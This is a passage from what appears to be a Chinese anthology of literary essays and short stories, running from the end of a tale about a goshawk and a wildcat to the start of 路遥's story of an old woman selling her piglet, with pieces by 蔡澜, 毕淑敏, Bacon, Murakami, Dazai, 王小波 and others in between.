　　为了摆脱困境，它离开了遥远的北方，进行长途飞行。刚才，它遭到暴风雪的袭击，昏头昏脑地跌了下来。这个寻找新的生活空间的家伙已筋疲力尽。在那草垛旁看来有个庇护所一个洞，可以爬进去休息一下，但洞里已有了主人及其大猎获物。那个眼睛放光的东西立刻像一团球似的扑了上来。苍鹰及时地展开了翅膀和可怕的利爪进行反击，搏斗和送上门的猎物对它来说，真是求之不得⋯⋯幸亏它的爪子牢牢地抓住了扑来的猫的脑袋，用力插进去，但猫翻转身，背靠地，拚命地用它的利爪撕着鹰的胸部和翅膀。两个拼斗者在大风雪中滚成一团。有时，这个嘶叫着的一团，被鹰的翅膀带上天空。滴滴鲜血撒在雪地上，因为利爪一刻也不放松地发挥着作用。苍鹰遭到了厄运，但它死死抓住猫的脑袋。毕竟是个猎物！要是从空中一下抓住它的脖子有多好啊⋯⋯它用厉害的喙子不停地啄着对手，简直是使出了最后的力气。

　　猫的眼珠终于被啄了出来，猫爪子的厮杀力在变弱，后来全部放松下来，就像松了弦的弓似的。它躺在雪地里，死了；苍鹰看了看，转过身去，拉下一泡屎，以示蔑视。可是，这是苍鹰最后一个有意识的动作，它流着血，它的一只翅膀已被撕裂，全然动弹不得。对它来说，这也是最后一场搏斗⋯⋯它开始在雪地里痛苦地爬行，奇特地、无定向地转着小圈。它使劲地爬呀爬，似乎急于要到某个地方，但却越来越艰难，越来越缓慢。它终于停了下来，被飘落的雪花渐渐盖住。开始时，雪花在鹰的棕褐色羽毛上融成水珠，但后来开始堆积起来，雪地里留下了一个小小的雪堆，成为它的安息场所。猫也如此。但它躺在草垛边受庇护的地方，它那被挖空了的眼窝依然望着世界，它咧着嘴，露出拼杀的利齿狞笑着⋯⋯在干草里有它的巨大猎物，撕剩一半的山羊尸体，雪花偶尔也飘到山羊的绒毛上。这时，冻成冰块的林中猫似乎在耸动着肩膀，得意地发笑⋯⋯

　　当暴风雪开始平息下来的时候，一阵阵野兽的嚎叫声在荒原上空回响。在森林某隐蔽地方，狐狸仰起了咀嚼的嘴巴⋯⋯如果生命之火在某个物体中熄灭了，那么，它仅仅是为了滋养尚未熄灭的生命。如此周而复始，循环不已。

卖猪肠粉的女人

蔡澜

　　家父早餐喜欢吃猪肠粉，没有馅的那种，加甜酱、油、老抽和芝麻。

　　年事渐高，生活变得简单，佣人为方便，每天只做烤面包、牛奶和阿华田，猪肠粉少吃。

　　我回家陪伴他老人家时，一早必到菜市场，光顾做得最好的那一档。哪一档最好？当然是客人最多的。

　　卖猪肠粉的太太，四五十岁人吧，面孔很熟，以为从前在哪里见过，你遇到她也会有这种感觉。因为，所有的弱智人士，长得都很相像。

　　已经有六七个家庭主妇在等，她慢条斯理地，打开蒸笼盖子，一条条地拿出来之后用把大剪刀剪断，淋上酱汁。我乘空档，向她说："要三条，打包，回头来拿。"

　　"哦。"她应了一声。

　　动作那么慢，轮到我那一份，至少要十五分钟吧。看着表，我走到其他档口看海鲜蔬菜。

　　今天的蚶子又肥又大，已很少人敢吃了，怕生肝病。有种像鲥鱼的"市壳"，骨多，但脂肪更多，非常鲜甜。魔鬼鱼也不少，想起在西班牙的依比莎岛上吃的比目鱼。当地人豪华奢侈地只吃它的裙子。魔鬼鱼，倒是全身裙边，腌以辣椒酱，再用香蕉叶包裹后烤之，一定好吃过比目鱼。

　　菜摊上看到香兰叶，这种植物，放在刚炊好的饭上，香喷喷地，米再粗糙，也觉可口。的士司机更喜欢将一扎香兰叶放在后座的架上，愈枯香味愈浓，比用化学品做的香精健康得多。

　　时间差不多了吧，打回头到猪肠粉摊。

　　"好了没有？"问那小贩。

　　她又"哦"的一声，根本不是什么答案，知道刚才下的订单，没被理会。

　　费事再问，只有耐心地重新轮候，现在又多了四五个客人，我排在最后。

　　好歹等到。

　　"要多少？"她无表情地问。

　　显然地，她把我说过的话当耳边风。

　　"三条，打包。"我重复。

　　付钱时说声谢谢，这句话对我来讲已成为习惯，失去原意。

　　她向我点了点头。

　　回到家里，父亲一试，说好吃，我已心满意足。刚才所受的闷气，完全消除。

　　翌日买猪肠粉，已经不敢通街乱走，乖乖地排在那四五个家庭主妇的后面，才不会浪费时间。

　　还有一名就轮到我了。

　　"一块钱猪肠粉。等一下来拿。"身后有个十七八岁的姑娘喊着。

　　"哦。"卖猪肠粉的女人应了一声。

　　我知道那个女的说了等于没说，一定会像我上次那样重新等起，不禁微笑。

　　"要多少？"

　　我抬头看那卖猪肠粉的，这次她也带了笑容，好像明白我心中想些什么。

　　"三条，打包。"

　　做好了我又说声谢谢，拿回家去。

　　同样的过程发生了几次。

　　又轮到我。

　　这回卖猪肠粉的女人先开口了。

　　"我不是没有听到那个人的话。"她解释，"你知道啦，我们这种人记性不好，也试过搞错，人家要四条，我包了三条，让他们骂得好凶。"

　　我点点头，表示同情。收了我的钱，这次由她说了声谢谢。

　　再去过数次，开始交谈。

　　"买回去给太太吃的？"她问。

　　"给父亲吃。"

　　卖猪肠粉的女人听了添多一条，我推让说多了老人家也吃不下，别浪费。不要紧，不要紧，她还是塞了过来。

　　"我们这种人都是没用的，他们说。但是我不相信自己没有用。"有一次，她向我投诉。

　　"别一直讲我们这种人好不好？"我抗议。

　　"难道你要我用弱智吗？这种人就是这种人嘛。"她一点自卑也没有，"我出来卖东西，靠自己，一条条做的，一条条卖。卖得愈多，我觉得我的样子愈不像我们这种人，你说是不是？"

　　我看看她，眼睛中除了自信，还带着调皮。

　　"是。"我肯定。

　　"喂，我已经来过几次，怎么还没有做好？"身后的一个三十几岁的女人大声泼辣道，"那个人比我后来，你怎么先卖给她？"

　　"卖给你！卖给你！卖给你！卖给你？！"

　　卖猪肠粉的女人抓着一条肠粉，大力地剪，剪个几十刀。不停地剪不停地说卖给你，扮成实足的白痴，把那个八婆吓得脸都发青，落荒而逃。

　　我再也忍不住地大笑，她也开朗地笑。从眼泪漫湿的视线中，她长得很美。

泥沙俱下地生活

毕淑敏

　　有年轻人问，对生活，你有没有产生过厌倦的情绪？

　　说心里话，我是一个从本质上对生命持悲观态度的人，但对生活，基本上没产生过厌倦情绪。这好像是矛盾的两极，骨子里其实相通。也许因为青年时代，在对世界的感知还混混沌沌的时候，我就毫无准备地抵达了海拔五千米的藏北高原。猝不及防中，灵魂经历了大的恐惧、大的悲哀。平定之后，也就有了对一般厌倦的定力。面对穷凶极恶的高寒缺氧、无穷无尽的冰川雪岭，你无法抗拒人是多么渺小、生命是多么孤单这副铁枷。你有一千种可能性会死，比如雪崩，比如坠崖，比如高原肺水肿，比如急性心力衰竭，比如战死疆场，比如车祸枪伤……但你却在苦难的夹缝当中，仍然完整地活着。而且，只要你不打算立即结束自己，就得继续活下去。愁云惨淡畏畏缩缩的是活，昂扬快乐兴致勃勃的也是活。我盘算了一下，权衡利弊，觉得还是取后种活法比较适宜。不单是自我感觉稍愉快，而且让他人（起码是父母）也较为安宁。就像得过了剧烈的水痘，对类似的疾病就有了抗体，从那以后，一般的颓丧就无法击倒我了。我明白日常生活的核心，其实是如何善待每人仅此一次的生命。如果你珍惜生命，就不必因为小的苦恼而厌倦生活。因为泥沙俱下并不完美的生活，正是组成宝贵生命的原材料。

　　他又问，你对自己的才能有没有过怀疑或是绝望？

　　我是一个“泛才能论”者，即认为每个人都必有自己独特的才能，赞成李白所说的“天生我材必有用”。只是这才能到底是什么，没人事先向我们交底，大家都蒙在鼓里。本人不一定清楚，家人朋友也未必明晰，全靠仔细寻找加上运气。有的人可能一下子就找到了；有的人费时一世一生；还有的人，干脆终生在暗中摸索，不得所终。飞速发展的现代科技，为我们提供了越来越多施展才能的领域。例如，爱好音乐，爱好写作……都是比较传统的项目，热爱电脑，热爱基因工程……则是近若干年才开发出来的新领域。有时想，擅长操纵计算机的才能，以前必定悄悄存在着，但世上没这物件时，具有此类本领潜质的人，只好委屈地干着别的行当。他若是去学画画，技巧不一定高，就痛苦万分，觉得自己不成才。比尔.盖茨先生若是生长在唐朝，整个就算瞎了一代英雄。所以，寻找才能是一项相当艰巨重大的工程，切莫等闲视之。

　　人们通常把爱好当作才能，一般说来，两相符合的概率很高，但并不像克隆羊那样惟妙惟肖。爱好这个东西，有时候很能迷惑人。一门心思凭它引路，也会害人不浅。有时你爱的恰好是你所不具备特长的东西，就像病人热爱健康、矮个儿渴望长高一样。因为不具备，所以，就更爱得痴迷，九死不悔。我判断人对自己的才能，产生深度的怀疑以至绝望，多半产生于这种“爱好不当”的漩涡之中。因此，在大的怀疑和绝望之前，不妨先静下心来，冷静客观地分析一下，考察一下自己的才能，真正投影于何方。评估关头，最好先安稳地睡一觉，半夜时分醒来，万籁俱寂时，摈弃世俗和金钱的阴影，纯粹从人的天性出发，充满快乐地想一想。

　　为什么一定要强调充满快乐地去想呢？我以为，真正令才能充分发育的土壤，应该同时是我们分泌快乐的源泉。

　　他的最后一个问题是，你是怎样度过人生的低潮期的？

　　安静地等待。好好睡觉，像一只冬眠的熊。锻炼身体，坚信无论是承受更深的低潮或是迎接高潮，好的体魄都用得着。和知心的朋友谈天，基本上不发牢骚，主要是回忆快乐的时光。多读书，看一些传记。一来增长知识，顺带还可瞧瞧别人倒霉的时候是怎么挺过去的。趁机做家务，把平时忙碌顾不上的活儿都抓紧此时干完。

论读书

培根

　　读书可以作为消遣，可以作为装饰，也可以增长才干。

　　孤独寂寞时，阅读可以消遣。高谈阔论时，知识可供装饰。处世行事时，知识意味着才干。懂得事务因果的人是幸运的。有实际经验的人虽能够处理个别性的事务，但若要综观整体，运筹全局，却唯有学识方能办到。

　　读书太慢的人驰惰，为装潢而读书是欺人，完全按照书本做事就是呆子。

　　求知可以改进人性，而经验又可以改进知识本身。人的天性犹如野生的花草，求知学习好比修剪移栽。学问虽能指引方向，但往往流于浅泛，必须依靠经验才能扎下根基。

　　狡诈者轻鄙学问，愚鲁者羡慕学问，聪明者则运用学问。知识本身并没有告诉人怎样运用它，运用的智慧在于书本之外。这是技艺，不体验就学不到。

　　读书的目的是为了认识事物原理。为挑剔辩驳去读书是无聊的。但也不可过于迷信书本。求知的目的不是为了吹嘘炫耀，而应该是为了寻找真理，启迪智慧。

　　书籍好比食品。有些只须浅尝，有些可以吞咽，只有少数需要仔细咀嚼，慢慢品味。所以，有的书只要读其中一部分，有的书只须知其梗概，而对于少数好书，则应当通读，细读，反复读。

　　有的书可以请人代读，然后看他的笔记摘要就行了。但这只应限于不太重要的议论和质量粗劣的书。否则一本书将像已被蒸馏过的水，变得淡而无味了。

　　读书使人充实，讨论使人机敏，写作则能使人精确。

　　因此，如果有人不读书又想冒充博学多知，他就必须很狡黠，才能掩人耳目。如果一个懒于动笔，他的记忆力就必须强而可靠。如果一个人要孤独探索，他的头脑就必须格外锐利。

　　读史使人明智，读诗使人聪慧，学习数学使人精密，物理学使人深刻，伦理学使人高尚，逻辑修辞使人善辩。总之，“知识能塑造人的性格”。

　　不仅如此，精神上的各种缺陷，都可以通过求知来改善——正如身体上的缺陷，可能通过适当的运动来改善一样。例如打球有利于腰背，射箭可扩胸利肺，散步则有助于消化，骑术使人反应敏捷，等等。同样道理，一个思维不集中的人，他可以研习数学，因为数学稍不仔细就会出错。缺乏分析判断的人，他可以研习而上学，因为这门学问最讲究细琐的辩证。不善于推理的人，可以研习法律案例。如此等等。这种心灵上的缺陷，都可以通过学习而得到改善。

我的呈奶酪蛋糕形状的贫穷

村上春树

　　我们都管那个地方叫“三角地带”。此外我琢磨不出如何称呼是好。因为那的的确确是个三角形，画上画的一般。我和她就住在那个地方，一九七三年或七四年的事了。

　　虽说是“三角地带”，可你不要想成是所谓的 delta（意为三角洲） 形状。我们住的“三角地带”细细长长，状如楔子。若说得再具体点，请你首先想像出一个正常尺寸的圆圆的奶酪蛋糕，再用厨刀将它均匀地切成十二份，也就是切成有十二道格的钟表盘那个样子。其结果，当然出现十二块尖角为三十度的蛋糕。将其中一块放在盘里，边啜红茶什么的边细细地看。那顶端尖尖的、细细长长的蛋糕片就是我们“三角地带”的准确形状。

　　怎么会形成如此形状不自然的地带呢——你也许会问，也许不问，都无所谓。问不问反正我都不清楚。问本地人也问不出个究竟，他们知道的不外乎很早很早以前是三角形，现在是三角形，将来定然也是三角形。总的说来，本地人好像不大愿意谈也不大愿意想“三角地带”何以“三角地带”被如此——像耳后疣一样——漠然置之，缘由不得而知，大概是因为形状怪异吧。“三角地带”两侧有两条铁路通过，一条是国营线，一条是私营线。两条铁路齐头并进了一阵子，以楔尖为分歧点，简直就像被撕裂开来一般以不自然的角度各奔南北，景观十分了得。每次目睹电气列车在“三角地带”的尖端南来北往，我就恍惚觉得自己是站在驱逐舰舰桥之上，而那驱逐舰正在海上破浪前进。

　　但是，从居住舒适度和居住功能来看，“三角地带”实在是一塌糊涂。首先噪音厉害。也难怪，毕竟两条铁路左右相夹，不可能不吵。一开前门，眼前一列电车呼啸而过；一开后窗，眼前又一列电车咆哮而至。用眼前这种说法决不夸张，实际上两列电车也近得乘客可以对视致意，如今想起来都觉得叹为观止。

　　你或许要说末班车过去后总该安静了吧。通常都那么想，搬来之前其实我也那么想来着。然而压根儿就不存在什么末班车。旅客列车凌晨一时全部运行结束后深夜班次的货物列车接踵而至；天明时分货车大体告一段落，翌日的客车又杀上门来。如此日复一日无尽无休。

　　呜呼!

　　我们所以特意选住这里，第一第二都是因为房租便宜。独门独院三个房间，有浴室，甚至有个小花园，而房租仅相当于公寓里一个六张榻榻米大小的房间。既是独门独院，那么猫也能养。简直就像专为我们准备的房子。我们刚刚结婚，非我自吹，穷得上吉尼斯记录都绰绰有余。我们是在站前不动产中介店的贴纸上发现这房子的。仅就条件和租金和房子结构来看，堪称奇迹性发掘。

　　“便宜得很哟！”秃脑瓜子中介商说，“啊，吵倒是相当吵的，不过只消忍耐一下，未尝不可说是拾来的大元宝。”

　　“反正先看看好么？”我问。

　　“好好。不过，你们自己去可好?我嘛，一去那里就头疼。”

　　他借给钥匙，画出去那座房子的路线图。好个爽快的中介商。

　　从火车站看去，“三角地带”似乎近在眼前，但实际走起来，到那里花的时间相当惊人。在铁道上“咕噜”绕一圈，过天桥，沿脏兮兮的坡路上上下下，好歹从后面兜到了“三角地带”。周围商店之类形影皆无，寒伧得近乎完美。

　　我和她走进“三角地带”尖头的一座孤零零的房子，在里面逗留了一个小时。这时间里有相当之多的电车从房子两侧通过。特快通过时，窗玻璃“咔咔”作响。过车时间里听不到对方说话。正说着有车开来，我们便闭嘴等车过完。静下来刚开始说话，又一列电车尾随而至。那情形，不知该称为 communication 的中断还是分裂，总之是十分 让 · 吕克 · 戈达尔 式的。

　　不过除去噪音，房子格调本身相当可以。式样古色古香，整体上没有硬伤，壁龛和檐廊也有，很够味道。从窗口泻进的春日阳光在榻榻米上做出小小的方形光照很像我小时候住过的房子。

　　“租吧。”我说，“的确很吵，不过我想总可以习惯的。”

　　“你这么说，就这样吧。”她应道。

　　“在这里这么待着不动，觉得就像自己结婚成家了。”

　　“实际上不也结婚了?”

　　“那是，那倒是。”我说。

　　我们折回不动产中介店，说想租。

　　“不吵？”秃脑瓜子中介商询问。

　　“吵当然吵，可总能习惯。”我说。

　　中介商摘下眼镜，用纱布擦拭镜片，啜口茶杯里的茶重新戴回，看我的脸。

　　“噢，年轻嘛，到底。”他说。

　　“嗯。”我应道。

　　接着我们签了租约。

　　搬家用朋友一辆轻型客货两用车足矣。被褥和衣服和餐具和台灯和几册书和一只猫——这便是我们的全部家当。既无组合音响又无电视机，洗衣机没有电冰箱没有餐桌没有煤气灶没有电话没有电热水瓶没有吸尘器没有电烤箱没有，一无所有。我们就是穷到这个地步。所以，虽说是搬家，三十分钟都没花上。没钱也好，人生简洁至极。

　　帮忙搬家的朋友看到我们夹在两条铁路之间的新居，显得相当惊愕。搬完家他想朝我们说什么，碰巧特快驶过，什么也没听见。

　　“你说什么来着？”

　　“这样的地方真的也能住人！”他一副敬佩的神情。

　　最终，我们在那房子里住了两年。房子建得极其马虎，到处有空隙来风。夏天自是开心惬意，冬天就成了地狱。买取暖炉的钱都没有，天一黑，我就和她和猫钻进被窝，那才叫不折不扣的相抱而眠。早上起来看到厨房洗涤槽已经结冰的事也屡见不鲜。

　　冬去春来。春天美妙无比。春天一到，我也好她也好猫也好无不如释重负。四月间铁路有几天罢工。一有罢工，我们真是欢欣鼓舞。一整天一列车都没有。我和她抱着猫到路轨上晒太阳。安静得简直像坐在湖底。我们年轻，新婚不久，阳光免费。

　　至今每次听到“贫穷”二字，我都会想起那块的细长土地。那房子现在到底住着什么人呢?

荒唐少年时

陈升

　　事情是这样的。其实那一天，我也不能确定，是不是能够说服爸爸，让我一个人冒着那么大的风沙，骑着脚踏车，到桥的那一端去见她——那个我一直暗恋着的女孩……

　　在这之前，我与父亲的冷战大概已经进行了半年之久。学校里一些需要劳烦父亲的事情，或者需要零用钱什么的，我总是要通过母亲当桥梁与父亲沟通。我在厨房里呆立了几十分钟，为了让母亲发觉我的怪异，那时候，我真想就这样死掉算了。

　　唉！少年的忧烦来自于一种无以名状的苦闷。

　　渐渐地，当我发现我的诡计不能得逞，母亲也没有要帮我说情的迹象时，我只好回过头来说服我自己。想象自己可能因为风雨太大而被吹落桥底，或者因为车子的追撞，身体跟头分了家，最残忍的是还要漂流老远才能被找到。

　　所有年少的诡计，几乎都是让自己最亲爱的人得到报复性的痛苦为慰藉。

　　荒唐少年时……唉！那天我在厨房站了一个早上，而那个我暗恋的女孩，连我是谁她都未必知道……

捣乱者的作用

保罗 · 科埃略

　　葛吉夫是一位心灵学大师，他在巴黎建立过一所人类发展研究所，并经常在此给学生们讲课。每当葛吉夫讲课时，课堂上都是座无虚席，学生们听得很认真。不过，有一位脾气古怪的老头，经常和葛吉夫唱反调，葛吉夫在上面讲，他就在下面不停地抱怨老师讲得差劲，说他的话根本没有科学依据，是个徒有虚名的家伙。

　　课堂上的其他学生都很厌烦这位老头，可葛吉夫好像并不在意。几堂课后，老头终于没再出现，所有的学生都松了一口气，因为从此教室会更安静一些，他们也会听得更好。但让他们吃惊的是，葛吉夫去了那位老头的家，请他继续来听课。

　　老头拒绝回去，说除非葛吉夫给他发薪水，他才去。事情很快传开了，学生们都很气愤，找到老师问事情的结果。

　　“我答应给他支付薪水了。”葛吉夫回答。

　　“什么？”学生们叫了起来。“可他一直在和您唱反调啊！”

　　“是这样没错！”葛吉夫说：“可没有他来，你们就很难理解暴躁、偏执等词语的真正含义。现在，这位老人就给了我们一个活生生的例证，告诉我们这些负面情绪是如何把人们的正常生活变成地狱，这样你们就会学得更快。你们付给我钱，想要学会怎样更和谐地在一起生活，现在我花钱雇了这个人，正好帮我从反面教会了你们这一课。”

　　人们都习惯于喜欢遇到好事情，不喜欢坏事情，但是正如同贫穷可以激励一个人发奋，风雨可以磨炼一个人成长，对手可以促使一个人进步一样，如果运用得当，你就会发现“坏事情”有时会是一种难得的好事情。

等待

太宰治

　　每天我都会在省线的小车站里等人，等一个完全不认识的人。

　　从市场买完东西回家途中，我总会路过车站，坐在冰冷的长椅上，将菜篮放在膝上，茫然地望着检票口。每当往返的电车到达月台，就会有很多人从电车口拥出，蜂拥至检票口。大家一脸愤怒地出示证件、缴交车票，然后直视地步出长椅前的车站广场，朝各自的方向离去。

　　我茫然的坐着。“说不定，这时会有个人笑着喊着我。喔！好可怕啊！伤脑筋！”于是胸口心跳加速。光想就已经像背后被泼了冷水般，浑身战栗，难以呼吸。不过，我真的是在等待某个人。只是我每天坐在这边，究竟是在等谁呢？在等一个怎么样的人呢？或许我等的并不是人。我很讨厌人。不！应该说我很害怕人。只要与人见面，一说出“近来可好？”“天气变冷了”之类的问候，不知道为什么，就会痛苦地觉得自己像个世上仅有的骗子，好想就此死去。最后，对方也对我戒慎恐惧地不痛不痒地寒暄，说些净是谎言的感想。一听到这些，不但会因为对方吝于关心而感到悲伤，自己也越来越讨厌这个世界。世人，难道就是彼此这样呆板地招呼，虚伪地关怀，到双方都精疲力竭为止，就此度过一生吗？”

　　我讨厌与人见面，只要没什么特别的大事，我绝不会去朋友那边玩。待在家里，和母亲两人安静地缝纫是最轻松的事。可是，随着大战逐渐开始，四周变得非常紧张后，便感觉到每天待在家里发呆是件很不对的事。我莫名地感到不安，心情完全无法安定，有种想鞠躬尽瘁、立刻贡献心力的心情。我对当下的生活，已失去了自信。

　　虽然知道不能沉默地坐在家中，但自己又没什么地方可去。因此，买完东西后，在回家的路上，就会顺道经过车站，一个人茫然地坐在车站冰冷的长椅上。“说不定会有那个人出现！”我期待着，“啊！如果真的出现的话，那就麻烦了。到时候我该怎么做呢？”顿时，又感到一阵恐慌。不过，出现了也没办法，只好向那人献上我的生命了。一种船到桥头自然直、近乎于放弃的觉悟，与其他千奇百怪的幻想纠缠在一起，使得我胸口梗塞，有种将要窒息的感觉。

　　我仿佛在做一个连生死都不知道的白日梦，内心有种不真实的感觉，好像将望远镜倒过来看一样，车站前往来的人群，都变得好小好遥远，世界也变得好渺小。

　　啊！我究竟在等待什么？说不定我是个非常淫乱的女人。大战开始后，莫名的不安，说什么想要鞠躬尽瘁、贡献心力，这些根本就是谎言。说这些冠冕堂皇的话，其实只是在巴望着有什么好机会能实现自己轻率的空想。尽管这样坐在这边，做出一脸茫然的表情，但我仍可以感觉到胸中那个诡异的计划正在熊熊燃烧着。

　　到底我在等谁？我没有具体的形象，只有一团迷雾。不过，我仍在等待。从大战开始以来，我每天都会在购物结束后途经车站，坐在这冰冷的长椅上等待。也许，会有一个人笑着叫我。喔！好可怕啊！伤脑筋，我等的人不是你。到底我在等谁呢？老公？不对！恋人？不是。朋友？我讨厌朋友。金钱？也许。亡灵？喔！我可不喜欢亡灵。

　　是更温和、开朗、鲜丽的东西？我不知道那是指什么。比方说像春天那样的东西吗？不，不对。绿叶、五月、流过麦田的清流？当然不对。啊！不过我还是要继续地等，等待着那能让我振奋的东西。

　　人们成群结队地从我眼前通过。那不是！这也不是！我抱着菜篮，微微颤抖但专心的等待。请不要忘记我，请不要嘲笑每天到车站去等待，然后空虚返家的二十岁姑娘。无论如何请牢牢地记住，我不会特意说出这个小车站的名字，就算我不告诉你，但是有一天你也一定会发现我的。

救世情结与白日梦

王小波

　　现在有一种“中华文明将拯救世界”的说法正在一些文化人中悄然兴起，这使我想起了我们年轻时的豪言壮语：我们要解放天下三分之二的受苦人，进而解放全人类。对于多数人来说，不过是说说而已，我倒有过实践这种豪言壮语的机会。七0年，我在云南插队，离边境只有一步之遥，对面就是缅甸，只消步行半天，就可以过去参加缅共游击队。有不少同学已经过去了——我有个同班的女同学就过去了，这对我是个很大的刺激——我也考虑自己要不要过去。过去以后可以解放缅甸的受苦人，然后再去解放三分之二的其他部分；但我又觉得这件事有点不对头。有一夜，我抽了半条春城牌香烟，来考虑要不要过去，最后得出的结论是：不能去。理由是：我不认识这些受苦人，不知道他们在受何种苦，所以就不知道他们是否需要我的解救。尤其重要的是：人家并没有要求我去解放，这样贸然过去，未免自作多情。这样一来，我的理智就战胜了我的感情，没干这件傻事。

　　对我年轻时的品行，我的小学老师有句评价：蔫坏。这个坏字我是不承认的，但是“蔫”却是无可否认。我在课堂上从来一言不发，要是提问我，我就翻一阵白眼。像我这样的蔫人都有如此强烈的救世情结，别人就更不必说了。有一些同学到内蒙古去插队，一心要把阶级斗争盖子揭开，解放当地在“内人党”迫害下的人民，搞得老百姓鸡犬不宁。其结果正如我一位同学说的：我们“非常招人恨”。至于到缅甸打仗的女同学，她最不愿提起这件事，一说到缅甸，她就说：不说这个好吗？看来她在缅甸也没解放了谁。看来，不切实际的救世情结对别人毫无益处，但对自己还有点用——有消愁解闷之用。“文化革命”里流传着一首红卫兵诗歌《献给第三次世界大战的勇士》，写两个红卫兵为了解放全世界，打到了美国，“战友”为了掩护“我”，牺牲在“白宫华丽的台阶上”。这当然是瞎浪漫，不能当真：这样随便去攻打人家的总统官邸，势必要遭到美国人民的反对。由此可以得出这样的结论：解放的欲望可以分两种，一种是真解放，比如曼德拉、圣雄甘地、我国的革命先烈，他们是真正为了解放自己的人民而斗争。还有一种假解放，主要是想满足自己的情绪，硬要去解救一些人。这种解放我叫它瞎浪漫。

　　对于瞎浪漫，我还能提供一个例子，是我十三岁时的事。当时我堕入了一阵哲学的思辨之中，开始考虑整个宇宙的前途，以及人生的意义，所以就变得本木痴痴；虽然功课还好，但这样子很不讨人喜欢。老师见我这样子，就批评我；见我又不像在听，就掐我几把。这位老师是女的，二十多岁，长得又漂亮，是我单恋的对象，但她又的确掐疼了我。这就使我陷入了爱恨交集之中，于是我就常做种古怪的白日梦，一会儿想象她掉进水里，被我救了出来；一会儿想象她掉到火里，又被我救了出来。我想这梦的前一半说明我恨她，后一半说明我爱她。我想老师还能原谅我的不敬：无论在哪个梦里，她都没被水呛了肺，也没被火烤糊，被我及时地抢救出来了——但我老师本人一定不乐意落入这些危险的境界。为了这种白日梦，我又被她多掐了很多下。我想这是应该的：瞎浪漫的解救，是一种意淫。学生对老师动这种念头，就该掐。针对个人的意淫虽然不雅，但像一回事。针对全世界的意淫，就不知让人说什么好了。

　　中国的儒士从来就以解天下于倒悬为己任，也不知是真想解救还是瞎浪漫。五十多年前，梁任公说，整个世界都要靠中国文化的精神去拯救，现在又有人旧话重提。这话和红卫兵的想法其实很相通。只是红卫兵只想动武，所以浪漫起来就冲到白宫门前，读书人有文化，就想到将来全世界变得无序，要靠中华文化来重建全球新秩序。诚然，这世界是有某种可能变得无序——它还有可能被某个小行星撞了呢——然后要靠东方文化来拯救。哪一种可能都是存在的，但是你总想让别人倒霉干啥？无非是要满足你的救世情结嘛。假如天下真的在“倒悬”中，你去解救，是好样的；现在还是正着的，非要在想象中把人家倒挂起来，以便解救之，这就是意淫。我不尊重这种想法。我只尊敬像已故的陈景润前辈那样的人。陈前辈只以解开哥德巴赫猜想为己任，虽然没有最后解决这个问题，但好歹做成了一些事。我自己的理想也就是写些好的小说，这件事我一直在做。李敖先生骂国民党，说他们手淫台湾，意淫大陆，这话我想借用一下，不管这件事我做成做不成，总比终日手淫中华文化，意淫全世界好得多吧。

卖猪

路遥

　　六婶子的命真苦。一辈子无儿无女不说，到老来，老头子偏得了心脏病，不能出山劳动挣工分了。队上虽说给了“五保”待遇，吃粮不用太发愁了，但油盐酱醋、针头线脑还得自己筹办。而钱又从哪来呢？

　　好在她还喂个猪娃娃，她娇贵这个小东西。那些生活中必不可少的开销，都指望着这只猪娃呢。这位无儿无女的老婆婆，对任家畜都有一种温厚的爱。对这个小牲灵就更不用说了。她不论刮风不审下雨，每天都和一群娃娃相跟着出山去寻猪草。她不像其他人家那样把寻回的猪草随便撂到猪圈里让狸吃，而是把那些蒲公英呀，苍耳呀，肥娃娃草呀，在小河里翻来覆去洗得干干净净，切碎，煮熟，恨不得再拌上点调料，才给猪喂哩。

　　盛夏，正是榆树、杏树叶子发茂的时候。这两种树叶子猪最爱吃。她上不去树，就央求左邻右舍的娃娃们帮忙。遇到娃娃不肯去的时候，她就把给病老头单另蒸下的白面馍拿一个，哄着让娃娃们给她采上一筐筐。为了她的猪娃娃能吃好一些，她宁可自己吃孬的。

　　可是这猪娃娃终究太小了，春节肯定喂不肥，卖也卖不了几个钱。

　　麦收以后，她那害心脏病的老头子挖药材卖了几个钱，就催促她把这猪娃卖了，把这些钱再添上，买个大些的——这样赶过春节，就能出息一个像样的肥猪了。

　　老头身子骨有病，但脑筋还灵醒。他谋算得对。六婶子尽管舍不得这个喂惯了的东西，但最后还是听从了他的主张。

　　现在“公家”说学习“瞎儿套（哈尔套）经验哩，把原来的一月九集改成一月三次的社会主义大集”了。挨到七月初十，一打早，六婶子就给猪娃娃特意做了一盆子好食吃了，还用那把自己梳头的破木梳给猪娃统身梳洗了一遍，像对这将要出嫁的女儿那般，又唠唠叼叼地说了许多话，才吆着猪上路了。

　　她的猪乖顺着啦，不用拴绳，她走哪里，猪就跟到哪里，有时这小东西走快了，还站下等她哩。这个黑胖胖的小东西可亲着哪！它在她脚边跑前跑后，还不时用它那小脑袋摩蹭一下她的腿。

　　她一路上不断给它说话：

　　“小黑子呀（她给它起的小名）你放心！我不会把你卖到远路上的。我就卖给咱庄周围圈，过上个一月两月，我就来看你呀。你甭怕，我要挑挑捡捡给你寻个厚道人家。他谁的眉骨眼凶煞，就是掏上十万八万我也不把你卖给他，你放你的心……”

　　她的“小黑子”听她唠叼完，瞪起两只圆圆的眼睛温顺地望了她一眼，撒娇似地哼哼了两声，卧在一棵小杨树下不走了。

　　“热了？你这个小二流子呀！热了的话，那咱就歇上它一歇！不忙喀！”六婶子说着也就坐在上小猪的旁边，用手在它滚圆的脊背上搔痒痒，又从提包里掏了一根小黄瓜，一掰两截，一截她自己吃，另一截塞在猪娃娃的嘴边。

　　就在这时，公路对面的玉米地里突然冒出来一口黑胖胖的大肥猪，哼哧哼哧地喘着气，一摇三摆走过来，在“小黑子”身上嗅了嗅，也卧下了。

　　多大一口肥猪呀！毛秤足有二百多斤。老婆婆很奇怪，这前不着村后不着店的官路旁，哪来的这么只大肥猪呢？她朝公路的两头望望，看不见一个人。哪个粗心大意的人把猪丢在这里了呢？

　　当她细这口大肥猪的时候，才发现猪背上剃去了一片毛，上面隐隐约约盖着个公章。啊，原来这是公家收购的猪呀！

　　她不知道所措了。她想：而今公家的办事人也太马虎了，怎能把这么大个猪丢在这荒野地里呢？

　　她想了想，决定把这猪和她的“小黑子”一起吆到城里，然后再查问收猪的部门，把公家的猪送给公家。她做这事就像拾到邻家的东西送邻家一样自然。

　　她正要赶着猪起身的时候，前面突然飞过来一辆自行车，自行车在她面前猛然地停住了，车上跳下来一个四十来岁的男人。这人穿一身干净的制服，头上却包个羊肚子毛巾，既不像个干部，也不像个农民。来人很快撑起车子，过来用手在那肥猪的背上提揣了两下，笑嘻嘻地问：

　　“老人家，这猪你卖多少钱？我出八十块，怎样？”

